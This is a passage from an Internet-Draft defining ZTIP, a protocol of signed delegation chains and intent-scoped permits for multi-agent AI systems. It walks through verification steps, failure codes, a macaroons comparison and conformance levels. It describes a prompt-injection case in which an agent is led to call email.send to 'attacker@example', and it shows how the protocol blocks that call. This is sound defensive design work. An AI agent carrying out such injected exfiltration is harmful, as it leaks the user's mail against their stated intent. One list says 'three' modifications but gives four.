"inner": "" } Both reductions (data: dropping pii; tools: dropping email.list) are valid per the Section 3.4 monotonicity table. The summarizer signs with its own key, producing JWS_sum. This is the outermost layer and is what travels in the PROOF message's delegation_chain field (per the ZTNP composition profile, Section 6.1). A.5. A.4 Verification Transcript at the Tool The email.read tool verifies the chain: Step 1: Unwrap JWS_sum. Verify against agent:summarizer-3's public key (from the IKS, since this is a ZTNP composition). Step 2: Check expiration: current time = 1745501000, JWS_sum.exp = 1745504400. Not expired. Step 3: Recurse into JWS_sum.inner. Unwrap JWS_orch. Verify against principal:orchestrator-1's public key. Step 4: Recurse into JWS_orch.inner. Unwrap JWS_root. Verify against user:alice's public key. user:alice is in the tool's trusted- originators set. Step 5: Verify root structure: intent_root: true; originator matches trusted set. Step 6: Verify chain integrity. JWS_orch.delegator is in JWS_root.authorized_chain; JWS_orch.delegatee = JWS_sum.delegator. Miller Expires 29 October 2026 [Page 44] Internet-Draft ZTIP April 2026 Step 7: Verify scope monotonicity (Section 3.4) — all subset checks pass. Step 8: Verify chain depth: 3 layers, well within the default maximum of 8. Step 9: Recompute intent_hash from JWS_root.intent_object; compare to JWS_root.intent_hash. Match. All checks pass. A.6. A.5 Intent-Scoped Permit Issued Alongside the Chain Under the ZTNP composition (Section 6.1), an Intent-Scoped Permit covering this scenario: { "iss": "https://gateway.example", "sub": "agent:summarizer-3", "iat": 1745500900, "exp": 1745504400, "permit_id": "permit_01HVXYZ_INTENT_TEST", "constraints": { "actions": ["read"], "data": ["internal"], "tools": ["email.read"] }, "ch_binding": { "method": "tls-exporter", "label": "EXPORTER-ZTNP-permit-binding", "context_hash": "..." }, "intent_hash": "Q9h_MJaQrDtKRb7MKfwg664jUWmVlErfdS8Qm1y6qNc", "intent_scope": { "actions": ["read"], "data": ["internal"], "tools": ["email.read"] }, "chain_root_iss": "user:alice", "chain_root_jti": "intent_01HVXYZ_SUMMARIZE_REQUEST" } For a prompt-injected email.send({to: "attacker@example", ...}) call, the intent_scope.tools does not include email.send. The verifier returns INTENT_SCOPE_MISMATCH. This is the prompt-injection- resistance guarantee. Miller Expires 29 October 2026 [Page 45] Internet-Draft ZTIP April 2026 A.7. A.6 Failure Modes Three modifications that would cause rejection: 1. JWS_sum.scope_reduction.tools includes email.send → DEL_CHAIN_SCOPE_EXPANDED. 2. JWS_orch's signer is unknown to the tool → signature verification fails at Step 3. 3. JWS_root.intent_object differs from what the orchestrator believed → recomputed intent_hash differs → INTENT_SCOPE_MISMATCH. 4. The chain has more than 8 layers → DEL_CHAIN_DEPTH_EXCEEDED. Machine-readable test vectors corresponding to this example are at test-vectors/ztip/. Appendix B. Comparison with Macaroons and Related Capability Tokens This appendix is informative. It compares ZTIP to macaroons [Macaroons2014] and the related capability-with-caveats tokens (biscuits, wafers) that have appeared since. ZTIP and macaroons share an append-only scope-reduction property and are sometimes considered for the same problems; the comparison clarifies where they overlap and where they diverge. B.1. At a Glance +=================+==========================+======================+ | Property | Macaroons / Biscuits | ZTIP Delegation | | | / Wafers | Chain | +=================+==========================+======================+ | Authentication | HMAC keyed by issuer | Asymmetric digital | | primitive | (third-party caveats | signature per layer | | | use additional | (any JWS signature | | | discharge tokens) | alg) | +-----------------+--------------------------+----------------------+ | Identity of | Not bound — any | Each layer's | | each delegator | token holder can | delegator and | | | append a caveat | delegatee are signed | | | | identifiers | +-----------------+--------------------------+----------------------+ | Scope-reduction | Caveats: predicates | Structured scope | | model | ("user = alice", | fields with the | | | "expires < T") | formal subset | | | evaluated at | relation in | Miller Expires 29 October 2026 [Page 46] Internet-Draft ZTIP April 2026 | | verification | Section 3.4 | +-----------------+--------------------------+----------------------+ | Originator | None — the token | intent_hash binds | | intent binding | represents | the chain to a | | | capability, not | structured | | | intent | originator intent | +-----------------+--------------------------+----------------------+ | Verification | Yes (or third-party | No — verifier needs | | depends on | discharge for cross- | each delegator's | | shared secret? | domain) | public key, obtained | | | | via the deployment's | | | | Key Source | +-----------------+--------------------------+----------------------+ | Token format | Self-contained | Layered JWS attached | | | capability token | alongside an | | | | Authorization Token | +-----------------+--------------------------+----------------------+ | Composes with | Generally replaces | Extends OAuth 2.0, | | existing token | them | GNAP, ZTNP, or | | formats? | | vendor tokens | +-----------------+--------------------------+----------------------+ Table 12 B.2. When Macaroons Fit Better Than ZTIP * Closed deployments where issuer and verifier share an HMAC key and no third party participates in delegation. * Single-trust-domain capability stores where "anyone holding the token may further restrict it" is the desired semantics. * Resource-constrained verifiers that cannot perform asymmetric signature verification. * Use cases where the _who_ of each delegation step is irrelevant — only the _what_ (the resulting set of permitted operations) matters. B.3. When ZTIP Fits Better Than Macaroons * Multi-principal delegation chains where each delegating principal (user, orchestrator, sub-agent) has its own identity that the verifier needs to verify and audit. Miller Expires 29 October 2026 [Page 47] Internet-Draft ZTIP April 2026 * Deployments where the originator's _intent_ is a first-class security property — that is, where the verifier needs to reject operations consistent with the token's stated scope but inconsistent with what the user actually asked for. This is the prompt-injection / confused-deputy mitigation in Section 4. * Deployments composing with existing PKI, JWT-based authorization, OAuth 2.0, or GNAP, where introducing a parallel HMAC trust system would be operationally undesirable. * Audit and forensic environments where reconstructing "which entity authorized which step" must be possible from the chain itself. B.4. Conceptual Lineage ZTIP's append-only scope reduction (Section 3.4) shares its philosophical lineage with macaroons. Both encode the principle that delegation may only narrow, never broaden, what was authorized. ZTIP's contribution is to (a) bind the chain's root to a _structured intent_ the originator signed, (b) require each layer to be signed by an identified principal rather than anyone holding the token, and (c) compose with existing authorization-token formats rather than replacing them. The macaroons paper's caveat predicates also influenced ZTIP's design of the constraints field on intent_object (Section 3.2), which is profile-extensible to support arbitrary additional predicates beyond the structured scope dimensions. Appendix C. Conformance Profile ZTIP's three primitives (Delegation Chain Attestation, Intent-Scoped Authorization, Behavioral Claim Extensions) are independently useful, and deployments MAY adopt one without the others (Section 1). The conformance profile defines two conformance levels accordingly. *Full conformance.* An implementation is fully conformant with ZTIP if it implements all three primitives: * Produces and validates Delegation Chain JWS structures per Section 3. * Enforces scope monotonicity across delegation layers per Section 3.4. * Enforces a configured maximum chain depth per Section 3.5. * Issues and enforces Intent-Scoped Authorization Tokens per Section 4. Miller Expires 29 October 2026 [Page 48] Internet-Draft ZTIP April 2026 * Carries ai_behavior Behavioral Claims when applicable per Section 5. * Implements at least one composition profile from Section 6. *Partial conformance.* An implementation supporting only a subset of the three primitives MAY claim partial conformance by listing the primitives it implements (e.g., "ZTIP partial: Delegation Chain Attestation only" or "ZTIP partial: Delegation Chain Attestation + Intent-Scoped Authorization, no Behavioral Claims"). Partial- conformant implementations of any one primitive MUST satisfy that primitive's normative requirements in full — partial conformance refers to which primitives are implemented, not to weakening the requirements within a chosen primitive. All conforming implementations (full or partial) MUST declare which composition profiles they support. Acknowledgments The author thanks the early reviewers for feedback on multi-principal delegation. ZTIP's design draws on the confused-deputy literature and on emerging research into prompt-injection mitigations. The composition-profile pattern follows the precedent set by DPoP [RFC9449]. Author's Address Jake Miller Email: jake@zivis.ai Miller Expires 29 October 2026 [Page 49]